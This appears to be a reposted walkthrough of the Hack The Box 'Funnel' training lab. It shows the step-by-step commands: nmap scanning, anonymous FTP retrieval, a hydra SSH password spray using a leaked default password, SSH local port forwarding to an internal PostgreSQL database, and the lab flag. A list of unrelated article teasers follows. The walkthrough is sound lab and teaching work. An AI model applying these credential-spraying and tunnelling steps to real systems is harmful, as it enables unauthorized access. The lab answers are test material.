[StartingPoint][Tier1]Funnel

Task 1

How many TCP ports are open?

(打开了多少个 TCP 端口?)

# nmap -sS -T4 10.129.224.226 --min-rate 1000

2

Task 2

What is the name of the directory that is available on the FTP server?

(FTP 服务器上可用的目录名称是什么?)

$ nmap -sC 10.129.224.226 -p 21

image.png

21端口存在匿名访问

mail_backup

Task 3

What is the default account password that every new member on the “Funnel” team should change as soon as possible?

(“漏斗”团队的每个新成员应该尽快更改的默认帐户密码是什么?)

ftp> get ./mail_backup/password_policy.pdf ./1.pdf

image.png

image.png

funnel123#!#

Task 4

Which user has not changed their default password yet?

(哪个用户还没有更改过默认密码?)

-users.txt-
optimus
albert
andreas
christine
maria

$ hydra -L ./users.txt -p funnel123#!# ssh://10.129.224.226

christine

Task 5

Which service is running on TCP port 5432 and listens only on localhost?

(哪个服务在 TCP 端口 5432 上运行并且仅侦听本地主机?)

# nmap -sV -p 5432 10.129.224.226

image.png

postgresql

Task 6

Since you can’t access the previously mentioned service from the local machine, you will have to create a tunnel and connect to it from your machine. What is the correct type of tunneling to use? remote port forwarding or local port forwarding?

(由于您无法从本地计算机访问前面提到的服务,因此您必须创建一个隧道并从您的计算机连接到它。正确使用的隧道类型是什么?远程端口转发还是本地端口转发?)

  • 本地端口转发(Local Port Forwarding): 在本地端口转发中,客户端建立一个到远程服务器的连接,并在本地主机上创建一个监听指定端口的服务。当有数据发送到本地监听的端口时,数据被加密并发送到远程服务器,然后远程服务器将其解密并转发到最终的目标。这种方式可以让客户端访问无法直接访问的服务,或者增加数据传输的安全性。本地端口转发常用于构建加密隧道,例如通过 SSH 连接远程服务器并转发本地端口以访问内部网络资源。
    ssh -L [本地地址:]本地端口:目标地址:目标端口 用户名@远程主机

  • 远程端口转发(Remote Port Forwarding): 在远程端口转发中,远程服务器建立一个到本地主机的连接,并在远程服务器上创建一个监听指定端口的服务。当有数据发送到远程服务器上的监听端口时,数据被转发到本地主机,然后本地主机将其处理。这种方式通常用于使远程服务器上的服务能够被外部访问,或者用于跨越 NAT 或防火墙访问内部网络资源。
    ssh -R [远程地址:]远程端口:目标地址:目标端口 用户名@远程主机

local port forwarding

Task 7

$ ssh -L 4444:10.129.224.226:5432 christine@10.129.224.226

image.png

让远程服务器转发自己的5432端口服务到我们主机的4444端口

连接本地转发端口

$ psql -U christine -h localhost -p 4444

image.png

christine=# \list

image.png

secrets

Task 8

Could you use a dynamic tunnel instead of local port forwarding? Yes or No.

(你能利用一个动态的隧道,而不是当地的港口转发? “是"或"否”。)

yes

Flag

christine=#\connect secrets

image.png

christine=#\dt

image.png

secrets=# select * from flag;

image.png

cf277664b1771217d7006acdea006db1

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/598319.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

什么是商家转账到零钱

商家转账到零钱是什么? 通过商家转账到零钱这个功能,如果我们系统需要对用户支付费用,比如发放佣金、提成、退款之类的,可以直接转账到用户的微信零钱。 【商家转账到零钱】是【企业付款到零钱】的升级版,2022年5月1…

Java 面试宝典:Redis 的线程模型是怎么样的?

大家好,我是大明哥,一个专注「死磕 Java」系列创作的硬核程序员。 本文已收录到我的技术网站:https://www.skjava.com。有全网最优质的系列文章、Java 全栈技术文档以及大厂完整面经 Redis 的线程模型其实是分两块的: Redis 6.0 …

10个程序员可以接私活的平台和一些建议

话不多说,直接进入正题。我把我压箱底的10个程序员接私活的平台都拿出来了,看之前记得先点赞收藏~ 码市 互联网网站外包服务平台,这个平台上还有产品原型可供参考。在码市上有一系列规范的接单和发单流程答疑过程,可以很好地帮助…

XML文档节点导航与选择指南 | XPath基础知识

XPath(XML Path Language)是XSLT标准的主要组成部分。它用于在XML文档中浏览元素和属性,提供了一种强大的定位和选择节点的方式。 XPath的基本特点 代表XML路径语言: XPath是一种用于在XML文档中导航和选择节点的语言。 路径样式…

C语言---浮点数在内存中的存储

前面跟大家介绍了整数在内存中的存储,这次再向大家介绍下浮点数在内存中的存储。 我们常见的浮点数有3.14,1E10 等等,浮点数家族包括float,double,long double类型。 浮点数的表示范围在头文件 float.h 定义。 1.浮…

蓝桥杯第十四届C++C组

目录 三国游戏 填充 翻转 【单调队列优化DP】子矩阵 【快速幂、欧拉函数】互质数的个数 【tire树】异或和之差 【质因数分解】公因数匹配 子树的大小 三国游戏 题目描述 小蓝正在玩一款游戏。游戏中魏蜀吴三个国家各自拥有一定数量的士兵X, Y, Z (一开始可以认为都…

python应用-计算两个日期的时间差

学习目录 1. 安装deteutil包 2. 导入relativedelta类 3. 计算两个日期的差值 4. 计算1个日期和时间差相加后得到新的日期 之前在工作中遇到一个使用场景:需要计算两个日期之前的差值,比如相差了几年几月几日,查找资料发现deteutil包的rel…

记一次农业工程学报投稿流程与感悟

经过数段时间的实验与熬夜,终于得出一个比较满意的结果,本想着第一篇先随便发一个试试投稿流程,但是经过老师修改后非让投农业工程学报,然后在网上查了一些信息后有点害怕,大致都是在说周期长,审稿慢等等 …

《QT实用小工具·十七》密钥生成工具

1、概述 源码放在文章末尾 该项目主要用于生成密钥,下面是demo演示: 项目部分代码如下: #pragma execution_character_set("utf-8")#include "frmmain.h" #include "ui_frmmain.h" #include "qmessag…

Java实现二叉树(上)

1.树型结构 1.1树型结构的概念 树是一种 非线性 的数据结构,它是由 n ( n>0 )个有限结点组成一个具有层次关系的集合。 把它叫做树是因为它看 起来像一棵倒挂的树,也就是说它是根朝上,而叶朝下的 1.2树型结构的特点…

原型变量、原子操作、原子性、内存序

一、原子变量、原子操作 锁竞争:互斥锁、条件变量、原子变量、信号量、读写锁、自旋锁。在高性能基础组件优化的时候,为了进一步提高并发性能,可以使用原子变量。性能:原子变量 > 自旋锁 > 互斥锁。 操作临界资源的时间较长…

【leetcode】 c++ 数字全排列, test ok

1. 问题 2. 思路 3. 代码实现 #if 0 class Solution { private:vector<int> path; // 满足条件的一个结果 vector<vector<int>> res; // 结果集 void backtracking(vector<int> nums, vector<bool> used){// 若path的个数和nums个数相等&…